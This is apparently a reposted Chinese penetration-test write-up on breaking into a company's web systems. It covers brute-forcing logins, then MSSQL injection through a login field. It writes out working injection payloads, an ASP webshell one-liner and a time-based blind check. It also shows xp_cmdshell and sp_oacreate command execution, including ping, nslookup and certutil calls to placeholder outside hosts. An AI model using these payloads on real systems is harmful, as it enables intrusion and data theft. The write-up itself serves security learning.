實戰 | 記一次無回顯不出網站庫分離的滲透測試
某日接到一個項目,只給了一個二維碼。

1、數據管理系統
掃描二維碼后在頁面下方得到該公司的名字,百度搜索該公司的名字,找到一個數據中心。

訪問該頁面后發現存在用戶名遍歷,使用Burp爆破"常見用戶名Top500"得到三個賬號,并成功爆出其中一個賬號的密碼。

登陸后發現大都是一些信息管理的功能,沒有發現可利用的點。

可能是沒有管理員賬號,所以功能較少,這種后臺感覺拿到管理員賬號也有點懸,先看其他的。
2、旁站
2.1 登陸后臺
在Fofa搜索該IP找到另一個站點,是該公司的其他系統。

該頁面的賬號是自動填充,輸入密碼點擊登陸會報500。
可能是密碼錯誤的返回頁面?一邊爆破密碼一遍測其他漏洞。

在輸入登陸密碼的時候加入單引號,出現了SQL報錯,經過測試存在Sql注入。

現在的思路是進入后臺測試是否可以Getshell、通過Sql注入進行Getshell。
使用萬能密碼進入后臺,提示是游客權限,也沒有什么利用點,準備獲取管理員賬號密碼。

得到登陸后臺賬號密碼后,輸入正確密碼也會報500,很奇怪。

放下后臺Getshell的思路,嘗試Sql注入Getshell。
2.2 Mssql注入Get WebShell
經過簡單的信息收集,得到該系統的信息 mssql 2012 dbo權限 win6.2
常見的Getshell方法有寫Webshell、通過擴展執行命令。打算先寫Webshell,以免開啟擴展執行命令過程中被殺軟攔截打草驚蛇。
Mssql常用的寫Webshell方法"差異備份、Log備份、sp_makewebtask"等,寫webshell的之前可以先寫一個正常文件,來確認可以寫入。
2.2.1 sp_makewebtask寫Shell
權限:dbo、sa 且對寫入的路徑有寫權限
條件:存在sp_makewebtask擴展
大致思路是創建一個表,將十六進制的Webshell插入表中,使用sp_makewebtask導出表中的數據到指定文件。
';create table cmd (a image)--';insert into cmd(a) values(0x616263)-- #webshell的16進制';execute sp_makewebtask @outputfile='D:\test\1.txt','@query='select a from cmd'--';drop table cmd--
在網上看到可以使用一條語句來完成,不過沒有測試,因為該服務器不存在sp_makewebtask擴展....
exec sp_makewebtask 'c:\www\testwr.asp','select''<%execute(request("zz"))%>'' '

2.2.2 Log備份
在兩個備份Getshell方法中,先試Log備份。Log備份只備份操作日志,相對來說導出的文件較小。
;alter database 數據庫名稱 set RECOVERY FULL -- #將數據庫設置為完整模式,完整模式會記錄所有操作日志,支持備份日志。;create table cmd (a image) --;backup log db_name to disk = 'E:\test\test.aspx' with init -- #備份db_name數據庫的日志到指定文件頭部;insert into cmd (a) values ('hex_webshell')-- ;backup log 數據庫名稱 to disk = 'E:\test\test.aspx' --
Sql報錯泄露了絕對路徑,省去找路徑的麻煩。語句執行過程中,一直提示找不到指定路徑。

先嘗試往C盤寫文件,測試是否有寫入權限。執行完后沒報錯,說明寫進去了,不是權限問題。

在這想了半天,突然想起來在信息收集的時候沒有測該站點是否為站庫分離!
啊這.....
@@servername > 0

select host_name > 0

先暫時放棄通過寫Webshell來Getshell了。如果數據庫在外網的話,它所在的服務器沒有搭建web服務,寫了也沒法訪問,訪問到了也不一定解析,何況數據庫的IP都沒有...
2.3 執行命令
2.3.1 判斷擴展是否存在
使用擴展執行命令前一般先判斷該擴展是否存在,Bool型判斷語句在這不適用,無論返回的是True還是False都會報錯。
執行為true

把xp_cmdshell改成不存在擴展還是會報錯

可能就是xp_cmdshell不存在,但在之后又嘗試了幾個擴展,都返回統一報錯頁面。
可以使用時間盲注判斷。
';if(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')=1 waitfor delay '0:0:5'--

如果有報錯回顯的話,也可以通過執行該擴展判斷。

2.3.2 xp_cmdshell
mssql中最常見的執行命令擴展,05版本以后默認關閉。
之前已經判斷xp_cmdshell存在,將其開啟后先判斷該擴展是否可以正常執行命令。
這里使用ping判斷該命令是否成功執行,但執行完會一直卡在那。dnslog也沒有回顯,之后又嘗試了http、dns協議也都沒有回顯。
;exec master..xp_cmdshell 'ping xxx.dnslog.cn';exec master..xp_cmdshell 'certutil -urlcache -f -split http://xxx/';exec master..xp_cmdshell 'nslookup xxx.dnslog.cn'
以前遇到過這種情況,是被殺軟攔截了,于是乎先pass。
2.3.3 sp_oacreate
使用sp_oacreate執行命令,缺點是沒有回顯。延續xp_cmdshell的思路,先通過測試是否出網來確定命令是否成功執行。測試完發現和xp_cmdshell的結果一樣,平臺都接收不到請求。
這時我懷疑不是殺軟的問題,可能是數據庫服務器不出網?
為了驗證該想法,改用另一種方式來判斷。思路是執行命令并將執行結果寫入本地文件,然后使用Bulk insert將命令回顯讀取到數據庫,最后通過Sql查詢就可以獲取到命令執行結果。
執行命令保將執行結果寫入文件
;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c whoami > c:\\1.txt';

將命令執行結果導入表
create table testa(line text);bulk insert testa from 'c:\\1.txt' with (fieldterminator='n',ROWTERMINATOR='nn');--

查詢表中內容(命令執行結果)
and 1=(select top 1 * from 數據庫名..testa FOR XML PATH(''))--

最后進行痕跡清理,將該表、存儲執行命令回顯的文件刪除。

整合這幾步操作

通過讀取到的命令回顯,印證了之前的想法。
2.3 遇到的問題
2.3.1 無法進行大容量加載
如果沒殺軟出現這種情況,可能因為命令還沒執行完,等等就好了。

2.3.1 將被二進制截斷
這個問題我也沒解決,百度得到的結果是字段長度問題,不過我改了沒成功。

可以配合findstr過濾想要的內容
3、后記
后續測試xp_cmdshell其實也可以執行命令,不過也是沒回顯,思路和sp_oacreate一樣。
做完這些一看時間已經下午四點了,回想起上一次看到今天早上的陽光,還是在今天早上。
版權申明:內容來源網絡,版權歸原創者所有。除非無法確認,都會標明作者及出處,如有侵權,煩請告知,我們會立即刪除并致歉!